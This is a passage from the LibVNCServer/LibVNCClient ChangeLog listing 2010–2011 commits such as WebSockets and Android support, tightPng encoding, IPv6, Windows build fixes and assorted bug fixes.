1799 * libvncserver/rfbserver.c: websockets: Better disconnect detection. If the only thing we are waiting on is a WebSockets terminator, then
1800 remove it from the stream early on in rfbProcessClientNormalMessage. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1801
18022011-08-16 Joel Martin <github@martintribe.org>
1803
1804 * configure.ac, libvncserver/Makefile.am, libvncserver/md5.c,
1805 libvncserver/md5.h, libvncserver/rfbserver.c,
1806 libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h:
1807 websockets: Initial WebSockets support. Has a bug: WebSocket client disconnects are not detected.
1808 rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if
1809 enough data is available which prevents a disconnect from being
1810 detected. Otherwise it's working pretty well. [jes: moved added struct members to the end for binary compatibility
1811 with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1812
18132011-08-17 Johannes Schindelin <johannes.schindelin@gmx.de>
1814
1815 * .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1816
18172011-07-25 Christian Beier <dontmind@freeshell.org>
1818
1819 * examples/android/README: Add installation hints to android example
1820 README.
1821
18222011-07-22 William Roberts <wroberts@sta.samsung.com>
1823
1824 * examples/android/jni/fbvncserver.c: Reduced memory footprint by
1825 50%
1826
18272011-07-22 William Roberts <wroberts@sta.samsung.com>
1828
1829 * examples/android/jni/fbvncserver.c: Corrected resolution issue,
1830 but screen is getting reported as wrong size
1831
18322011-07-23 ckanru <ckanru@code.google.com>
1833
1834 * examples/android/jni/fbvncserver.c: Fixes running vncserver on
1835 beagleboard/0xdroid and possibly any device without a touch screen.
1836 Because fake touch screen always report zero when query device
1837 information, coordinates transformation is not needed. Signed-off-by: Christian Beier <dontmind@freeshell.org>
1838
18392011-07-23 Christian Beier <dontmind@freeshell.org>
1840
1841 * configure.ac, examples/Makefile.am, examples/android/Makefile.am,
1842 rfb/rfb.h, vncterm/Makefile.am: Adopt autotools build system to
1843 Android. LibVNCServer/LibVNCClient now build for Android!
1844
18452011-07-23 Christian Beier <dontmind@freeshell.org>
1846
1847 * examples/android/README, examples/android/jni/Android.mk,
1848 examples/android/jni/fbvncserver.c: Add androidvncserver example.
1849
18502011-07-22 letsgoustc <letsgoustc@gmail.com>
1851
1852 * rfb/rfb.h: Make LibVNCServer build for Android. Signed-off-by: Christian Beier <dontmind@freeshell.org>
1853
18542011-07-19 Joel Martin <github@martintribe.org>
1855
1856 * libvncserver/tight.c: tightPng: check even for SendGradientRect. Signed-off-by: Christian Beier <dontmind@freeshell.org>
1857
18582011-07-19 Joel Martin <github@martintribe.org>
1859
1860 * CMakeLists.txt, configure.ac, libvncserver/Makefile.am,
1861 libvncserver/rfbserver.c, libvncserver/stats.c,
1862 libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
1863 rfb/rfbproto.h: tightPng: Add initial tightPng encoding support. http://wiki.qemu.org/VNC_Tight_PNG Signed-off-by: Joel Martin <github@martintribe.org> Signed-off-by:
1864 Christian Beier <dontmind@freeshell.org>
1865
18662011-06-01 Christian Beier <dontmind@freeshell.org>
1867
1868 * libvncserver/main.c, libvncserver/sockets.c: Remove some unused
1869 variables.
1870
18712010-11-14 George Kiagiadakis <kiagiadakis.george@gmail.com>
1872
1873 * libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to
1874 return some value instead of void. BUG: 256891 Signed-off-by: Christian Beier <dontmind@freeshell.org>
1875
18762010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com>
1877
1878 * libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two
1879 event-loop related functions out of the rfbProcessEvents()
1880 mechanism. This is required to be able to do proper event loop integration with
1881 Qt. Idea was taken from vino's libvncserver fork. Signed-off-by: Christian Beier <dontmind@freeshell.org>
1882
18832011-05-06 Cristian Rodríguez <crrodriguez@opensuse.org>
1884
1885 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer
1886 overflow Signed-off-by: Cristian Rodríguez <crrodriguez@opensuse.org>
1887 Signed-off-by: Christian Beier <dontmind@freeshell.org>
1888
18892011-04-30 Christian Beier <dontmind@freeshell.org>
1890
1891 * libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407. The proper fix was already in
1892 804335f9d296440bb708ca844f5d89b58b50b0c6.
1893
18942011-04-28 Johannes Schindelin <johannes.schindelin@gmx.de>
1895
1896 * AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1897
18982011-04-28 Johannes Schindelin <johannes.schindelin@gmx.de>
1899
1900 * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1901
19022010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com>
1903
1904 * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected
1905 after the first one had disconnected and the channel (thus, the
1906 screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1907
19082010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com>
1909
1910 * common/zywrletemplate.c, libvncserver/auth.c,
1911 libvncserver/rfbserver.c, libvncserver/scale.c,
1912 libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1913
19142011-04-27 Vic Lee <llyzs@163.com>
1915
1916 * libvncclient/tls.c: Replace deprecated GnuTLS functions
1917 gnutls_*_set_priority with gnutls_priority_set_direct. The functions gnutls_*_set_priority we used were marked deprecated
1918 since latest GnuTLS version 2.12. However the replacement function
1919 gnutls_priority_set_direct is available since 2.2, which is even
1920 lower than our version requirement 2.4 in configure. The patch just
1921 replace the deprecate function to fix the compile warning. Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
1922 Schindelin <johannes.schindelin@gmx.de>
1923
19242011-03-30 Christian Beier <dontmind@freeshell.org>
1925
1926 * ChangeLog: Update ChangeLog for 0.9.8.
1927
19282011-03-29 Christian Beier <dontmind@freeshell.org>
1929
1930 * README: Remove RDP from the README description. We do VNC but no RDP. Pointed out by Vic Lee, thanks!
1931
19322011-03-29 Christian Beier <dontmind@freeshell.org>
1933
1934 * utils/git2cl.pl: Fix skipping of merge commits in log convert
1935 script.
1936
19372011-03-29 Christian Beier <dontmind@freeshell.org>
1938
1939 * bdf2c.pl, consolefont2c.pl, utils/bdf2c.pl,
1940 utils/consolefont2c.pl, utils/git2cl.pl: Add a git-log to GNU-Style
1941 ChangeLog converter script. Also put all helper scripts into a utils directory.
1942
19432011-03-28 Christian Beier <dontmind@freeshell.org>
1944
1945 * NEWS: Mention the pkg-config stuff in NEWS.
1946
19472011-03-27 Vic Lee <llyzs@163.com>
1948
1949 * .gitignore, Makefile.am, configure.ac, libvncclient.pc.in,
1950 libvncserver.pc.in: Add libvncserver.pc and libvncclient.pc files. Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
1951 Beier <dontmind@freeshell.org>
1952
19532011-03-17 Christian Beier <dontmind@freeshell.org>
1954
1955 * libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in
1956 Ultra encoding introduced by commit
1957 fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532. My bad. There we see what the encodings test is good for ;-)
1958
19592011-03-17 Christian Beier <dontmind@freeshell.org>
1960
1961 * test/encodingstest.c: Update encodingstest. * Fixed segfault on shutdown. * Updated to test all encodings. * Fixed to operate with encodings that split up rects into smaller rects.
1962
19632011-03-17 Christian Beier <dontmind@freeshell.org>
1964
1965 * libvncclient/rfbproto.c: Remove useless comparisons that always
1966 evaluate to false. There can not be more than 255 security types and MSLogon is RFB 3.6
1967 only.
1968
19692011-03-17 Christian Beier <dontmind@freeshell.org>
1970
1971 * examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c,
1972 libvncclient/listen.c, libvncclient/rfbproto.c,
1973 libvncclient/ultra.c, libvncclient/zrle.c,
1974 libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32
1975 compiler warnings.
1976
19772011-03-17 Christian Beier <dontmind@freeshell.org>
1978
1979 * examples/rotate.c, examples/zippy.c, libvncserver/zrle.c,
1980 libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings.
1981
19822011-03-17 Christian Beier <dontmind@freeshell.org>
1983
1984 * VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c,
1985 examples/colourmaptest.c, examples/example.c,
1986 examples/filetransfer.c, examples/fontsel.c, examples/mac.c,
1987 examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c,
1988 examples/simple15.c, examples/vncev.c, examples/zippy.c,
1989 test/cargstest.c, test/copyrecttest.c, test/cursortest.c,
1990 test/encodingstest.c: Check rfbGetScreen() return value everywhere. This fixes a segfault when a server is invoked with the '-help'
1991 commandline argument.
1992
19932011-03-12 Christian Beier <dontmind@freeshell.org>
1994
1995 * CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt
1996 availability.
1997
19982011-03-12 Christian Beier <dontmind@freeshell.org>
1999
2000 * CMakeLists.txt: CMake: Threads can be available even if SDL is
2001 not.
2002
20032011-03-12 Christian Beier <dontmind@freeshell.org>
2004
2005 * CMakeLists.txt: CMake: fix building SDLvncviewer.
2006
20072011-03-12 Christian Beier <dontmind@freeshell.org>
2008
2009 * Makefile.am: Include cmake configure file templates in dist
2010 tarball. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2011
20122011-03-12 Christian Beier <dontmind@freeshell.org>
2013
2014 * rfb/rfbconfig.h.in, rfb/stamp-h.in: Remove autogenerated files.
2015
20162011-03-12 Christian Beier <dontmind@freeshell.org>
2017
2018 * NEWS: Update NEWS for 0.9.8 release.
2019
20202011-03-07 Christian Beier <dontmind@freeshell.org>
2021
2022 * libvncclient/tls.c: Fix libvncclient TLS for Windows builds. GnuTLS seems to expect proper errno values internally. So set them
2023 in our custom push/pull functions. Parts of the patch stolen from
2024 libcurl, thanks! Signed-off-by: Christian Beier <dontmind@freeshell.org>
2025
20262011-03-07 Christian Beier <dontmind@freeshell.org>
2027
2028 * libvncclient/rfbproto.c: Let libvncclient build with gcrypt for
2029 MinGW32 builds. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2030
20312011-03-07 Vic Lee <llyzs@163.com>
2032
2033 * libvncclient/sockets.c: Use WaitForMessage instead of sleep in
2034 socket reading to fix performance issue. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2035
20362011-03-10 Christian Beier <dontmind@freeshell.org>
2037
2038 * common/d3des.c, common/d3des.h, libvncserver/auth.c,
2039 libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c,
2040 libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c,
2041 libvncserver/rfbregion.c, libvncserver/rre.c,
2042 libvncserver/selbox.c, libvncserver/sockets.c,
2043 libvncserver/stats.c, libvncserver/tableinit24.c,
2044 libvncserver/tableinitcmtemplate.c,
2045 libvncserver/tableinittctemplate.c,
2046 libvncserver/tabletrans24template.c,
2047 libvncserver/tabletranstemplate.c, libvncserver/translate.c,
2048 libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c,
2049 test/cursortest.c: Set proper file permissions for source files.
2050
20512011-03-10 Christian Beier <dontmind@freeshell.org>
2052
2053 * CMakeLists.txt, configure.ac: Next version will be 0.9.8.
2054
20552011-03-10 Christian Beier <dontmind@freeshell.org>
2056
2057 * Makefile.am, configure.ac, contrib/Makefile.am, contrib/zippy.c,
2058 examples/Makefile.am, examples/zippy.c: Move zippy.c to examples.
2059
20602011-03-03 Christian Beier <dontmind@freeshell.org>
2061
2062 * libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c,
2063 libvncserver/rfbserver.c, libvncserver/sockets.c: Call
2064 WSAGetLastError() everywhere errno is read after a Winsock call. Winsock does NOT update errno for us, we have fetch the last error
2065 manually using WSAGetLastError().
2066
20672011-01-29 Christian Beier <dontmind@freeshell.org>
2068
2069 * common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
2070 common/minilzo.h, libvncclient/Makefile.am,
2071 libvncserver/Makefile.am: Update minilzo library used for Ultra
2072 encoding to ver 2.04. According to the minilzo README, this brings a significant speedup
2073 on 64-bit architechtures. Changes compared to old version 1.08 can be found here:
2074 http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org>
2075
20762011-01-24 Christian Beier <dontmind@freeshell.org>
2077
2078 * libvncserver/corre.c, libvncserver/main.c,
2079 libvncserver/private.h, libvncserver/rfbserver.c,
2080 libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver:
2081 Make RRE, CoRRE and Ultra encodings thread-safe. This adds generic before/after encoding buffers to the rfbClient
2082 struct, so there is no need for thread local storage. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2083
20842011-02-02 Christian Beier <dontmind@freeshell.org>
2085
2086 * Makefile.am: Include CMakeLists.txt file in dist tarball.
2087
20882011-01-29 Christian Beier <dontmind@freeshell.org>
2089
2090 * .cvsignore, README.cvs, VisualNaCro/.cvsignore,
2091 classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore,
2092 cvs_update_anonymously, examples/.cvsignore,
2093 libvncclient/.cvsignore, libvncserver/.cvsignore,
2094 libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore,
2095 test/.cvsignore, vncterm/.cvsignore: Remove unneeded files
2096 concerning CVS. We have a git repo nowadays and I guess we won't go back to CVS. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2097
20982011-01-31 Johannes Schindelin <johannes.schindelin@gmx.de>
2099
2100 * examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove
2101 completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is
2102 always CMake. Pointed out by Christian Beier. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2103
21042011-01-31 Christian Beier <dontmind@freeshell.org>
2105
2106 * client_examples/Makefile.am, client_examples/SDLvncviewer.c:
2107 SDLvncviewer: fix compilation from dist tarball. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2108 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2109
21102011-01-21 Vic Lee <llyzs@163.com>
2111
2112 * acinclude.m4, configure.ac, libvncclient/rfbproto.c,
2113 rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
2114 Beier <dontmind@freeshell.org>
2115
21162011-01-25 Christian Beier <dontmind@freeshell.org>
2117
2118 * CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h,
2119 common/minilzo.c, common/minilzo.h, common/vncauth.c,
2120 common/zywrletemplate.c, libvncclient/Makefile.am,
2121 libvncclient/lzoconf.h, libvncclient/minilzo.c,
2122 libvncclient/minilzo.h, libvncclient/rfbproto.c,
2123 libvncclient/zrle.c, libvncserver/Makefile.am,
2124 libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h,
2125 libvncserver/minilzo.c, libvncserver/minilzo.h,
2126 libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files
2127 used by both libs into a 'common' dir. No functional changes. All files used by _both_ libvncserver and
2128 libvncclient are put into a 'common' directory and references from
2129 other files as well as Autotools and CMake build systems are
2130 updated. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2131
21322011-01-20 ebola_rulez <ebola_rulez@users.sourceforge.net>
2133
2134 * libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
2135 Beier <dontmind@freeshell.org>
2136
21372011-01-01 runge <runge@karlrunge.com>
2138
2139 * libvncserver/rfbserver.c: Remove never used protocol version name
2140 string.
2141
21422010-12-29 runge <runge@karlrunge.com>
2143
2144 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
2145 x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c,
2146 x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c,
2147 x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c,
2148 x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
2149 x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c,
2150 x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1,
2151 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
2152 x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx.
2153 non-deprecated macosx interfaces for input injection.
2154
21552010-12-21 runge <runge@karlrunge.com>
2156
2157 * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README,
2158 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force
2159 --with-system-libvncserver to use correct headers.
2160
21612010-12-21 runge <runge@karlrunge.com>
2162
2163 * classes/ssl/ss_vncviewer,
2164 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
2165 -traversal.patch,
2166 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2167 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
2168 prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
2169 x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES,
2170 x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c,
2171 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
2172 x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/Makefile.am,
2173 x11vnc/misc/README, x11vnc/misc/qt_tslib_inject.pl,
2174 x11vnc/misc/uinput.pl, x11vnc/pointer.c, x11vnc/remote.c,
2175 x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c,
2176 x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h,
2177 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c,
2178 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
2179 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h,
2180 x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc:
2181 touchscreen uinput support and Java viewer mousewheel support. See
2182 x11vnc/ChangeLog for rest.
2183
21842010-12-01 Tobias Doerffel <tobias.doerffel@gmail.com>
2185
2186 * libvncserver/sockets.c: libvncserver sockets: check cl->screen
2187 before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with
2188 insufficient checks was introduced causing a segfault when doing a
2189 HTTP server connection. Such connections have no screen set in the
2190 client data structure. Signed-off-by: Tobias Doerffel <tobias.doerffel@gmail.com>
2191
21922010-11-30 Christian Beier <dontmind@freeshell.org>
2193
2194 * Doxyfile: Doxygen documentation: actually add Doxyfile.
2195
21962010-11-29 Johannes Schindelin <johannes.schindelin@gmx.de>
2197
2198 * index.html, success.html: The website is now maintained
2199 independently Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2200
22012010-11-18 Christian Beier <dontmind@freeshell.org>
2202
2203 * client_examples/SDLvncviewer.c, client_examples/backchannel.c,
2204 client_examples/ppmtest.c, client_examples/vnc2mpg.c,
2205 examples/backchannel.c, examples/camera.c, examples/example.c,
2206 examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c,
2207 examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add
2208 doxygen documentation support. Adds automagically generating libvncserver/libvncclient API documentation using doxygen. This gives a nice overview on both
2209 APIs, include dependencies and function call/caller
2210 dependencies. TODO: Modify all the explaining comments in the .c files for use
2211 with doxygen as well. This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier <dontmind@freeshell.org>
2212
22132010-11-18 Christian Beier <dontmind@freeshell.org>
2214
2215 * libvncserver/main.c: libvncserver: fix endless loop when server
2216 closed client in threaded mode. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2217
22182010-11-18 Christian Beier <dontmind@freeshell.org>
2219
2220 * libvncserver/sockets.c: libvncserver sockets: favor per-screen
2221 maxclientwait over global one when set. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2222
22232010-11-11 Christian Beier <dontmind@freeshell.org>
2224
2225 * libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h:
2226 libvncserver cleanup: remove rfbKeyFrame remnants.
2227
22282010-11-02 Christian Beier <dontmind@freeshell.org>
2229
2230 * libvncclient/rfbproto.c, libvncserver/main.c,
2231 libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h,
2232 rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement
2233 xvp VNC extension. This implements the xvp VNC extension, which is described in the
2234 community version of the RFB protocol:
2235 http://tigervnc.sourceforge.net/cgi-bin/rfbproto It is also
2236 mentioned in the official RFB protocol.
2237
22382010-10-28 Tobias Doerffel <tobias.doerffel@gmail.com>
2239
2240 * libvncserver/main.c: Added missing initialization of extension
2241 mutex When not calling rfbRegisterProtocolExtension() the extension mutex
2242 is uninitialized but used upon calling rfbGetExtensionIterator() and
2243 rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes
2244 libvncserver to crash on Win32 when building with thread support. Signed-off-by: Tobias Doerffel <tobias.doerffel@gmail.com>
2245 Signed-off-by: Christian Beier <dontmind@freeshell.org>
2246
22472010-10-21 Christian Beier <dontmind@freeshell.org>
2248
2249 * libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp
2250 to _strnicmp when using MS compiler. Redefining strncasecmp to _strnicmp makes libvncclient hang forever
2251 in SetFormatAndEncodings() on Windows when built with MinGW64. Reported by Tobias Doerffel <tobias.doerffel@gmail.com>, thanks!
2252
22532010-10-20 Tobias Doerffel <tobias.doerffel@gmail.com>
2254
2255 * libvncserver/rfbserver.c: In rfbSendDirContent() we have to make
2256 sure to call closedir() before returning. This did not happen if
2257 rfbSendFileTransferMessage() failed. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2258
22592010-10-20 Christian Beier <dontmind@freeshell.org>
2260
2261 * libvncclient/sockets.c: Fix build failure wrt IP QoS support in
2262 libvncclient. This is a small addendum to
2263 0797e42a4aaf8131ae71899faea2d682ed81cb59. Seems that having IPv6
2264 support in the OS does not necessarily mean that IPV6_TCLASS is
2265 available. One such case seems to be Mac OS X 10.5.
2266
22672010-02-09 Vic Lee <llyzs@163.com>
2268
2269 * libvncclient/sockets.c: Avoid 100% CPU usage when calling
2270 ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian
2271 Beier <dontmind@freeshell.org>
2272
22732010-10-08 Christian Beier <dontmind@freeshell.org>
2274
2275 * rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is
2276 defined. Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN
2277 with LIBVNCSERVER_, so do that manually here. Thanks to Lorenz Kolb for reporting.
2278
22792010-09-29 Christian Beier <dontmind@freeshell.org>
2280
2281 * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
2282 libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in
2283 libvncclient. This enables setting the DSCP/Traffic Class field of IP/IPv6 packets
2284 sent by a client. For example starting a client with -qosdscp 184
2285 marks all outgoing traffic for expedited forwarding. Implementation for Win32 is still a TODO, though. See
2286
2287 http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.htmlfor an overview of the Win32 QoS API mess...
2288
22892010-09-07 Christian Beier <dontmind@freeshell.org>
2290
2291 * TODO, libvncclient/sockets.c, libvncserver/httpd.c,
2292 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h:
2293 Non-blocking sockets for Windows. Expands the SetNonBlocking() function in libvncclient/sockets.c to
2294 also work under Windows and also changes it to honour maybe already
2295 present socket flags. A similar function was introduced for libvncserver as well and all
2296 the #ifdef'ed fnctl calls replaced with calls to that one. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2297
22982010-09-06 Christian Beier <dontmind@freeshell.org>
2299
2300 * libvncserver/main.c, libvncserver/rfbserver.c,
2301 libvncserver/scale.c: Cleanup: remove CORBA stuff. The header file and most of the functions referred to do not exist
2302 in libvncserver. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2303
23042010-09-10 runge <runge@karlrunge.com>
2305
2306 * classes/ssl/ss_vncviewer,
2307 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2308 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update
2309 classes/ssl jars, patches, and script
2310
23112010-09-10 runge <runge@karlrunge.com>
2312
2313 * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
2314 x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h,
2315 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c,
2316 x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/ultravnc_repeater.pl,
2317 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
2318 x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
2319 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
2320 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
2321 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
2322 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update
2323 to x11vnc 0.9.12
2324
23252010-09-06 Christian Beier <dontmind@freeshell.org>
2326
2327 * libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32
2328 compilation with libjpeg. MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h)
2329 typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also
2330 tries to typedef. So, tell the jpeg headers. Closes: 3007302
2331
23322010-07-11 Christian Beier <dontmind@freeshell.org>
2333
2334 * configure.ac, libvncclient/sockets.c: Fix MinGW32 checking for
2335 IPv6. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2336 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2337
23382010-06-29 Vic Lee <llyzs@163.com>
2339
2340 * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c,
2341 rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled
2342 blocks where that variable is used. Also fixed non-IPv6
2343 connections.] Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes
2344 Schindelin <johannes.schindelin@gmx.de>
2345
23462010-05-31 Wouter Van Meir <wouter.vanmeir@pandora.be>
2347
2348 * libvncclient/vncviewer.c: Call MallocFrameBuffer before
2349 SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can
2350 choose the color settings depending on the vnc server (or settings)
2351 in that hook. This way one can use the "VNC server default format" pixelformat if
2352 the client supports it, or perform a workaround (Intel AMT KVM
2353 "classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir <wouter.vanmeir@pandora.be>
2354 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2355
23562010-05-19 Christian Beier <dontmind@freeshell.org>
2357
2358 * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h:
2359 Implement a DisplayFinishedHook for libvncserver. If set, this hook gets called just before rfbSendFrameBufferUpdate()
2360 returns. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2361
23622010-05-08 runge <runge@karlrunge.com>
2363
2364 * ChangeLog, libvncclient/rfbproto.c: libvncclient:
2365 rfbResizeFrameBuffer should also set updateRect.
2366
23672010-05-08 runge <runge@karlrunge.com>
2368
2369 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
2370 x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c,
2371 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to
2372 prepare_x11vnc_dist.sh. set cd->unixname in apply_opts().
2373
23742010-05-07 Johannes Schindelin <johannes.schindelin@gmx.de>
2375
2376 * AUTHORS: Complete the AUTHORS file Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2377
23782010-05-07 Wouter Van Meir <wouter.vanmeir@pandora.be>
2379
2380 * CMakeLists.txt: fix CMakeLists.txt: other way to find pthread
2381 library ... and fixed linking of the tests in the examples directory. Signed-off-by: Wouter Van Meir <wouter.vanmeir@pandora.be>
2382 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2383
23842010-05-05 runge <runge@karlrunge.com>
2385
2386 * classes/ssl/index.vnc, classes/ssl/proxy.vnc,
2387 classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc,
2388 classes/ssl/ultrasigned.vnc, prepare_x11vnc_dist.sh, x11vnc/README,
2389 x11vnc/misc/enhanced_tightvnc_viewer/README,
2390 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
2391 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2392 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2393 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
2394 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
